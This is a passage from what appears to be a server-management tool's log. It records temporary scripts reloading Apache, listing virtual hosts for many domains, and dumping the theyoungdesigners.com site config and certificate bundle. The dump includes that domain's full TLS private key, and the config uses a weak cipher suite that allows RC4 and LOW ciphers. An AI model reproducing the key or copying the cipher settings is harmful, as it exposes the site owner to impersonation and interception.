    ErrorLog	/var/log/apache2/theyoungdesigners/com_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-available/theyoungdesigners_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf)= /etc/apache2//etc/apache2/sites-available/theyoungdesigners_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-available/theyoungdesigners_www_com.conf= 1'
fi


2025-11-22 06:02:17: 

chmod 755 /tmp/pkp214457; /tmp/pkp214457; rm /tmp/pkp214457

2025-11-22 06:02:17: 




2025-11-22 06:02:17: 

PUT: /tmp/pkp790080

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-22 06:02:17: 

chmod 755 /tmp/pkp790080; /tmp/pkp790080; rm /tmp/pkp790080

2025-11-22 06:02:17: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-22 06:02:17: Establishing a connection
2025-11-22 06:02:17: 

PUT: /tmp/pkp335124

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-22 06:02:18: 

chmod 755 /tmp/pkp335124; /tmp/pkp335124; rm /tmp/pkp335124

2025-11-22 06:02:18: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-22 06:02:18: 

PUT: /tmp/pkp354538

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/theyoungdesigners_www_com.conf')
    show_file('/etc/apache2/sites-available/theyoungdesigners_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-22 06:02:18: 

chmod 755 /tmp/pkp354538; /tmp/pkp354538; rm /tmp/pkp354538

2025-11-22 06:02:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_www_com.conf	1481

<VirtualHost *:80>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_www_com.conf	1481

<VirtualHost *:80>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-22 06:02:18: 

PUT: /tmp/pkp675504

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-22 06:02:18: 

chmod 755 /tmp/pkp675504; /tmp/pkp675504; rm /tmp/pkp675504

2025-11-22 06:02:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt	5401
38:28:91:3c:36:73:2d:07:a0:20:19:68:59:9e:27:32

-----BEGIN CERTIFICATE-----
MIIFHzCCBAegAwIBAgISBmgels0sfO98DR9GWb291ZkBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTIyMDUwMzQ2WhcNMjYwMjIwMDUwMzQ1WjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDbPaq+SVtAtcpzGDLasdWzn3V6RpcHhlK+hVkXX87EnXXtnPjQrmtZ
t5/eLsPAvzKgd0EowaHalkO8gw4NjU6bTPGttPmMeURLUfC/YoT4O3DUOG3hpdhU
HxuTx/SgqwjOB0NIhFfUFfz272cWeyUc5oP9NxqGwyjohIswsSvOeX06uO7ndESG
5GYJCnuil/cO3ou9jihV0lNEIbZjcX8g18GcZkzLn2Njz0OEPAcq6QAstB1ANxy2
3rP7lv7C9CvtVqtWtFvPr/FkDniA6xVu6vuzQV15DE8ygU4kxzrz7rsKtjdcMPey
D+pwBR7n6NdyznpVfOz5gp4mGZ1++mdvAgMBAAGjggI+MIICOjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFMXHQHgj2LqjEKD8w0ehAkE+XfvyMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVdGhleW91bmdkZXNp
Z25lcnMuY29tghl3d3cudGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvMi5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHxAO8AdQAZhtTHKKpv/roDb3gq
TQGRqs4tcjEPrs5dcEEtJUzH1AAAAZqqJ/Q0AAAEAwBGMEQCIHCgMz5UFanttjp5
9DsaR0tLDNcjpnyQZ9v9cHpaQZVjAiB1+jl5aG4les7iPNqlEXZMFdJFtXm4FwV/
YlsX6W8a6AB2AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABmqon
9EoAAAQDAEcwRQIgSCNTF477nBbgPdB5Scc3et+3Zu7+CJoscpzj1DnUEw0CIQCz
bEW4YK4AYbgZSSLAnCKwPf0qAKRnb919SEWWF/oAzjANBgkqhkiG9w0BAQsFAAOC
AQEAjFOXer2aiQulGbB0VAufOR6oPBDETtM64Fn1XMeBs+i0qYBUOChWL8PiM9eh
fkR4PJNoxRhonu1WPKlltgjaF1787YmECKPZmp4NjvL2vey8vTQxp5WSmcOIAx2G
UzN9T86vk3S+3BdLcrHgGimPRuRdkKtN8NfS8SrSW5WLmgpXTwGyG+U1v5Y5cImC
s4cpU+ngtE2baxwJPbqSwM5oTuHg86IvyrS23Btz+ryAs1MwIx0PbLh2c64ZYpaV
OD0yKgSM0PtOJzoAE+3ia1AJwOLpOz/zx06/yv+1GXznO5Q0xeTqQ+kydGpLx7I5
/HJvp8y5R1L0ZL35s+clZMFNuA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDbPaq+SVtAtcpz
GDLasdWzn3V6RpcHhlK+hVkXX87EnXXtnPjQrmtZt5/eLsPAvzKgd0EowaHalkO8
gw4NjU6bTPGttPmMeURLUfC/YoT4O3DUOG3hpdhUHxuTx/SgqwjOB0NIhFfUFfz2
72cWeyUc5oP9NxqGwyjohIswsSvOeX06uO7ndESG5GYJCnuil/cO3ou9jihV0lNE
IbZjcX8g18GcZkzLn2Njz0OEPAcq6QAstB1ANxy23rP7lv7C9CvtVqtWtFvPr/Fk
DniA6xVu6vuzQV15DE8ygU4kxzrz7rsKtjdcMPeyD+pwBR7n6NdyznpVfOz5gp4m
GZ1++mdvAgMBAAECggEBAI7njUnnSuHNHR8UYOGIFUG16L9BD+TJu1mQVdgUjRQ/
hsTREqYDatnaBQyv8szKU9egpApK3JM8av6PdjODLf+wkb+mPRtBWDC4QnKdZwre
w9awyX7RuUZr2G/lYCDyGxUgSs0T5qPJiU/0EH/o2PITl2kP5+x7fUjCTG/6rBEy
jnHk6TT3UBZt8rCv+muJmPgR7lM/0Nb0igGB2K7fz9yU420/KKAMe6qmMCRVq4nt
axDQ4pIXNBCsE8rXP60CIUzWwQ/h+LS81mLCJ/Xrti3bYrpMCnebqa47hIQm5oM6
964VqTj3BpH2m+EIYqcTVnyuHGePMuclUZVUwnNYtWECgYEA8flPqQCcNjn9pNtL
V2iBqF3x20ro8nEmV/DupCL7PBPMIiBzUNk98hH7d7UvDv4gqZKLeRosVuyyKJNo
akn8glbUVC1r7qDNmUPM3eYhohfJAv9suPwTxAZ0fHE5q+idd+aCJSvdbCE+FOre
tniRISnpkyQU+hoyrxyVzRBk8ecCgYEA5/MEdKuSeSdENiFTWTrj22dgKv5J2xwe
7f8rYyyTLcAOuinL5mO1qsJ+HlONaFzEYIltW7OwY2/TasCzgkny/Hlxm/RldsqU
Xw5bycFk+Y62Yqs7fHhtdIs+jghj8NuU/MF7bORTBUX5gdzoKB+gaD8cPvoz7bRX
tUAz+sOvvTkCgYAODHiIimWHbHSChszoBURJ3zJ0lfPSZ6lfP7jLRNCrW0bl0FaB
oitLi6m6+IUD7NM+pSh93nwmi9WIL47HZQZJFvt666wxjZqCRIJ3e64GODVOfD/2
uYP4RJuswfIkPfwugu6Zc+OGLKPrGPvXQkbC0ykhht3E65J3wkQcRNBnjwKBgGwa
BumZTRrKAjB4N7BOkgOfmmJvQVytLn0df8so6y9XY4XAFRe7QN/k5YKczjrlgWC8
rAshJAQ0CgSm6wK+FFE3CIv2y5MhtyTWPFE7oSPuL3Ks+3x3ZAv9GZp4rpuCu11R
j4SgpVC/3Bl6K3kHxGrRfwia87jFZFtFIPSuXymBAoGAVgs2yf/Ey4hOANjr7Jgs
hy61r1jbYh+hpyW8fKGBr49JE1tftT2kJ5uKcnYCep/kdFt1N7adkL/t6pljX0i4
1jfeG+BPQ7ansQt7wE9embNFB3+mIgTCnvBiw4ynoncGDcysmuU5+stw+LAcHBHA
LYJSZcPyutSbPHljS7hnPqM=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-22 06:02:18: 

PUT: /tmp/pkp528685

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-22 06:02:18: 

chmod 755 /tmp/pkp528685; /tmp/pkp528685; rm /tmp/pkp528685

2025-11-22 06:02:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt	5401
38:28:91:3c:36:73:2d:07:a0:20:19:68:59:9e:27:32

-----BEGIN CERTIFICATE-----
MIIFHzCCBAegAwIBAgISBmgels0sfO98DR9GWb291ZkBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTIyMDUwMzQ2WhcNMjYwMjIwMDUwMzQ1WjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDbPaq+SVtAtcpzGDLasdWzn3V6RpcHhlK+hVkXX87EnXXtnPjQrmtZ
t5/eLsPAvzKgd0EowaHalkO8gw4NjU6bTPGttPmMeURLUfC/YoT4O3DUOG3hpdhU
HxuTx/SgqwjOB0NIhFfUFfz272cWeyUc5oP9NxqGwyjohIswsSvOeX06uO7ndESG
5GYJCnuil/cO3ou9jihV0lNEIbZjcX8g18GcZkzLn2Njz0OEPAcq6QAstB1ANxy2
3rP7lv7C9CvtVqtWtFvPr/FkDniA6xVu6vuzQV15DE8ygU4kxzrz7rsKtjdcMPey
D+pwBR7n6NdyznpVfOz5gp4mGZ1++mdvAgMBAAGjggI+MIICOjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFMXHQHgj2LqjEKD8w0ehAkE+XfvyMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVdGhleW91bmdkZXNp
Z25lcnMuY29tghl3d3cudGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvMi5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHxAO8AdQAZhtTHKKpv/roDb3gq
TQGRqs4tcjEPrs5dcEEtJUzH1AAAAZqqJ/Q0AAAEAwBGMEQCIHCgMz5UFanttjp5
9DsaR0tLDNcjpnyQZ9v9cHpaQZVjAiB1+jl5aG4les7iPNqlEXZMFdJFtXm4FwV/
YlsX6W8a6AB2AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABmqon
9EoAAAQDAEcwRQIgSCNTF477nBbgPdB5Scc3et+3Zu7+CJoscpzj1DnUEw0CIQCz
bEW4YK4AYbgZSSLAnCKwPf0qAKRnb919SEWWF/oAzjANBgkqhkiG9w0BAQsFAAOC
AQEAjFOXer2aiQulGbB0VAufOR6oPBDETtM64Fn1XMeBs+i0qYBUOChWL8PiM9eh
fkR4PJNoxRhonu1WPKlltgjaF1787YmECKPZmp4NjvL2vey8vTQxp5WSmcOIAx2G
UzN9T86vk3S+3BdLcrHgGimPRuRdkKtN8NfS8SrSW5WLmgpXTwGyG+U1v5Y5cImC
s4cpU+ngtE2baxwJPbqSwM5oTuHg86IvyrS23Btz+ryAs1MwIx0PbLh2c64ZYpaV
OD0yKgSM0PtOJzoAE+3ia1AJwOLpOz/zx06/yv+1GXznO5Q0xeTqQ+kydGpLx7I5
/HJvp8y5R1L0ZL35s+clZMFNuA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDbPaq+SVtAtcpz
GDLasdWzn3V6RpcHhlK+hVkXX87EnXXtnPjQrmtZt5/eLsPAvzKgd0EowaHalkO8
gw4NjU6bTPGttPmMeURLUfC/YoT4O3DUOG3hpdhUHxuTx/SgqwjOB0NIhFfUFfz2
72cWeyUc5oP9NxqGwyjohIswsSvOeX06uO7ndESG5GYJCnuil/cO3ou9jihV0lNE
IbZjcX8g18GcZkzLn2Njz0OEPAcq6QAstB1ANxy23rP7lv7C9CvtVqtWtFvPr/Fk
DniA6xVu6vuzQV15DE8ygU4kxzrz7rsKtjdcMPeyD+pwBR7n6NdyznpVfOz5gp4m
GZ1++mdvAgMBAAECggEBAI7njUnnSuHNHR8UYOGIFUG16L9BD+TJu1mQVdgUjRQ/
hsTREqYDatnaBQyv8szKU9egpApK3JM8av6PdjODLf+wkb+mPRtBWDC4QnKdZwre
w9awyX7RuUZr2G/lYCDyGxUgSs0T5qPJiU/0EH/o2PITl2kP5+x7fUjCTG/6rBEy
jnHk6TT3UBZt8rCv+muJmPgR7lM/0Nb0igGB2K7fz9yU420/KKAMe6qmMCRVq4nt
axDQ4pIXNBCsE8rXP60CIUzWwQ/h+LS81mLCJ/Xrti3bYrpMCnebqa47hIQm5oM6
964VqTj3BpH2m+EIYqcTVnyuHGePMuclUZVUwnNYtWECgYEA8flPqQCcNjn9pNtL
V2iBqF3x20ro8nEmV/DupCL7PBPMIiBzUNk98hH7d7UvDv4gqZKLeRosVuyyKJNo
akn8glbUVC1r7qDNmUPM3eYhohfJAv9suPwTxAZ0fHE5q+idd+aCJSvdbCE+FOre
tniRISnpkyQU+hoyrxyVzRBk8ecCgYEA5/MEdKuSeSdENiFTWTrj22dgKv5J2xwe
